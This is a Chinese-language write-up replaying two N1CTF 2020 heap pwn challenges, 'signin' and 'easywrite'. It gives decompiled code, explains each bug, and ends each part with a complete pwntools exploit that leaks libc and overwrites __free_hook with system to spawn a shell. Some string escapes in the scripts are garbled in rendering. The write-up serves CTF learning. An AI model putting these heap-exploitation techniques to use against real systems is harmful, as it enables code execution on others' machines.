• N1CTF 2020 部分pwn 复现


    N1CTF当时没有去打(老懒狗了),是赛后进行的复现,借鉴了官方的wp,在本地对两道glibc环境下的pwn题进行了复现

    signin

    本地是在2.27的环境下进行的复现

    在这之前,先介绍一下vector

    Vector

    vector 是C++ stl的一个容器,实现的功能是动态数组。

    值得关注的是vector的内存分配规则

    但vector的内存容量不够时,会申请一块新的内存(大小是原内存的2倍),然后把数据复制过去,再free掉原来的内存

    • vector的内存只会增加,不会减少
    • clear()会清空元素,但是不会释放内存,vector占用的内存只会在程序结束后被释放

    程序实现了vector的功能

    有两个vector可供使用

    vector_1和vector_2都是管理vector的结构体(struct_vector)

    vector: begin_ptr vector+8:end_ptr vector+16:memory_end

    add:end_ptr+8 and read_number

    __int64 __fastcall new_0(__int64 a1, __int64 a2)
    {
      __int64 result; // rax
      __int64 v3; // rax
    
      if ( *(a1 + 8) == *(a1 + 16) )                // memory is full
      {
        v3 = get_end_ptr(a1);                       // v3 = *(a1 + 8)
        result = realloc_vector(a1, v3, a2);        // 
      }
      else                                          // memory is enough
      {
        vector_push(a1, *(a1 + 8), a2);             // *(a1+8) = a2
        result = a1;
        *(a1 + 8) += 8LL;                           // end ptr += 8
      }
      return result;
    }
    

    delete:end_ptr-=8

    unsigned __int64 delete()
    {
      int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
      std::istream::operator>>(&std::cin, &v1);
      if ( v1 == 1 )
        delete_0(&vector_1);
      if ( v1 == 2 )
        delete_0(&vector_2);
      return __readfsqword(0x28u) ^ v2;
    }
    

    show:

    打印end_ptr-8 地址上的内容

    unsigned __int64 show()
    {
      _QWORD *v0; // rax
      __int64 v1; // rax
      _QWORD *v2; // rax
      __int64 v3; // rax
      int v5; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v6; // [rsp+8h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
      std::istream::operator>>(&std::cin, &v5);
      if ( v5 == 1 )
      {
        v0 = show_0(&vector_1);               // return *end_ptr-8
        v1 = std::ostream::operator<<(&std::cout, *v0);
        std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      }
      if ( v5 == 2 )
      {
        v2 = show_0(&vector_2);
        v3 = std::ostream::operator<<(&std::cout, *v2);
        std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      }
      return __readfsqword(0x28u) ^ v6;
    }
    

    漏洞点

    delete的时候,没有对end_ptr进行检查

    在进行delete的时候,end_ptr-=8,我们可以通过delete去控制end_ptr的内容

    利用思路

    根据vector的扩容规则,在扩容时会申请一个大小为原来2倍的内存,并把原来的内存free掉。

    这样一来,即使我们没有free这个选项,可以通过不停的add去得到一个unsorted bin

    (libc-2.27的环境下有tcache机制,可能需要add的次数会多一些)

    然后控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc

    此时继续free,控制end_ptr指向tcatche的fd,劫持tctache的FD,实现任意地址写,直接打free_hook(one_gadget要用realloc抬栈)

    Expliot

    from pwn import *
    p = process('./signin')
    #context.log_level = "debug"
    elf = ELF('./signin')
    libc = elf.libc
    def menu(idx):
        p.sendlineafter(">>",str(idx))
    def add(idx,num):
        menu(1)
        p.sendlineafter("Index:",str(idx))
        p.sendlineafter("Number:",str(num))
    def free(idx):
        menu(2)
        p.sendlineafter("Index:",str(idx))
    def show(idx):
        menu(3)
        p.sendlineafter("Index:",str(idx))
    
    for i in range(260):
        add(1,1)
    for i in range(516):
        free(1)
    show(1)
    gdb.attach(p)
    libc_base = int(p.recvuntil('
    ')[:-1])-96-0x10-libc.sym['__malloc_hook']
    log.success('libc_base:'+hex(libc_base))
    free_hook = libc.sym['__free_hook']+libc_base
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    system = libc_base+libc.sym['system']
    one_gadget = libc_base + 0x10a45c
    for i in range(270):
        free(1)
    add(1,free_hook-8)
    #gdb.attach(p)
    add(2,u64('/bin/shx00'))
    add(2,system)
    #gdb.attach(p)
    p.interactive()
    

    easywrite

    调试环境 ==> libc-2.31.so

    这个题目将符号表删除了,需要用gdb进行恢复(第一次恢复符号表)

    在IDA中查看.got

    .got:0000000000003F80 qword_3F80      dq 0                    ; DATA XREF: sub_1020↑r
    .got:0000000000003F88 qword_3F88      dq 0                    ; DATA XREF: sub_1020+6↑r
    .got:0000000000003F90 off_3F90        dq offset sub_1030      ; DATA XREF: sub_10D0+4↑r
    .got:0000000000003F98 off_3F98        dq offset sub_1040      ; DATA XREF: sub_10E0+4↑r
    .got:0000000000003FA0 off_3FA0        dq offset sub_1050      ; DATA XREF: sub_10F0+4↑r
    .got:0000000000003FA8 off_3FA8        dq offset sub_1060      ; DATA XREF: sub_1100+4↑r
    .got:0000000000003FB0 off_3FB0        dq offset sub_1070      ; DATA XREF: sub_1110+4↑r
    .got:0000000000003FB8 off_3FB8        dq offset sub_1080      ; DATA XREF: sub_1120+4↑r
    .got:0000000000003FC0 off_3FC0        dq offset sub_1090      ; DATA XREF: sub_1130+4↑r
    .got:0000000000003FC8 off_3FC8        dq offset sub_10A0      ; DATA XREF: sub_1140+4↑r
    

    在gdb中查看got表,里面储存了函数的真实地址,一个个去看是什么函数就行了

    恢复符号表之后查看IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 v3; // rbp
      __int64 v4; // rdx
      __int64 v5; // rdx
      _QWORD *address; // [rsp-28h] [rbp-28h]
      void *message; // [rsp-20h] [rbp-20h]
      void *message2; // [rsp-18h] [rbp-18h]
      unsigned __int64 v10; // [rsp-10h] [rbp-10h]
      __int64 v11; // [rsp-8h] [rbp-8h]
    
      __asm { endbr64 }
      v11 = v3;
      v10 = __readfsqword(0x28u);
      setbuf_0(stdout, 0LL, envp);
      setbuf_0(stdin, 0LL, v4);
      setbuf_0(stderr, 0LL, v5);
      alarm_2(0x3Cu);
      sleep_2(2u);
      printf_0("Here is your gift:%p
    ", &setbuf);  // leak libc
      message = malloc_2(768uLL);
      write_0(1, "Input your message:", 19uLL);
      read_0(0, message, 767uLL);
      write_0(1, "Where to write?:", 16uLL);
      read_0(0, &address, 8uLL);
      *address = message;
      message2 = malloc_2(0x30uLL);
      write_0(1, "Any last message?:", 18uLL);
      read_0(0, message2, 47uLL);                   // read 47 bytes
      free_1(message2);
      return 0;
    }
    

    程序的逻辑大概是能自由编辑一个0x300的堆块

    然后把这个堆块的地址写到任意地址上

    然后就是申请一个0x30的堆块,然后free掉

    利用思路

    一开始泄露了libc_base

    这个堆块的大小与tcache的大小相似,可以考虑伪造tcache(学到了新姿势)

    于是在message这个chunk上布置我们的信息

    在counts数组上将调用数记为1,在tcache bins 的链表上布置任意写的地址

    于是我们的message可以这样构造

    message =  'x00'*4+'x01'
    message = message.ljust(144,'x00')
    message += p64(libc_base + free_hook-0x10)
    

    最后就是找到一个储存tcache地址的指针,将其覆盖为我们的fake_tcache

    gef➤  grep 0x5583411ea010# 0x5583411ea010 为tcache结构体的地址
    [+] Searching 'x10xa0x1ex41x83x55' in memory
    [+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可读可写
      0x7f708887c530 - 0x7f708887c548  →   "x10xa0x1ex41x83x55[...]" 
    

    确定地址在0x7f708887c530处,减去libc_base得到偏移 在本机的环境上偏移为0x1f3530

    然后message2打free_hook,getshell

    Expliot

    from pwn import *
    elf = ELF('./easywrite')
    libc =elf.libc
    p = process('./easywrite')
    p.recvuntil("Here is your gift:")
    libc_base = int(p.recvuntil('
    ')[:-1], 16) - libc.sym["setbuf"]
    log.info('libc:'+hex(libc_base))
    ptr = libc_base + 0x1f3530
    message = 'x00'*4+'x01'
    message = message.ljust(0x12*8,'x00')
    message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
    p.recvuntil('Input your message:')
    p.sendline(message)
    p.recvuntil('Where to write?:')
    p.send(p64(ptr))
    p.recvuntil('message?')
    p.sendline('/bin/shx00'+p64(libc_base + libc.sym['system']))
    p.interactive()
    
  • 相关阅读:
    转:浅谈UNIX下Apache的MPM及httpd.conf配置文件中相关参数配置
    LINUX DNS解析的3种修改方法~
    Linux ftp访问控制配置,包括访问ftp权限和访问ftp目录权限
    composer 安装提示 PHP Warning: readfile(): SSL operation failed with code 1
    PHPExcel yii2 加载使用
    转:mysql根据经纬度查找排序
    bootstrap无限级分类 jq拓展 之前的无限级分类的封装版~
    ACM学习历程—HDU1717 小数化分数2(gcd)
    ACM学习历程—HDU1716 排列2(dfs && set容器)
    ACM学习历程—BestCoder 2015百度之星资格赛1001 大搬家(递推 && 组合数学)
  • 原文地址:https://www.cnblogs.com/z2yh/p/13910994.html
Copyright © 2020-2023  润新知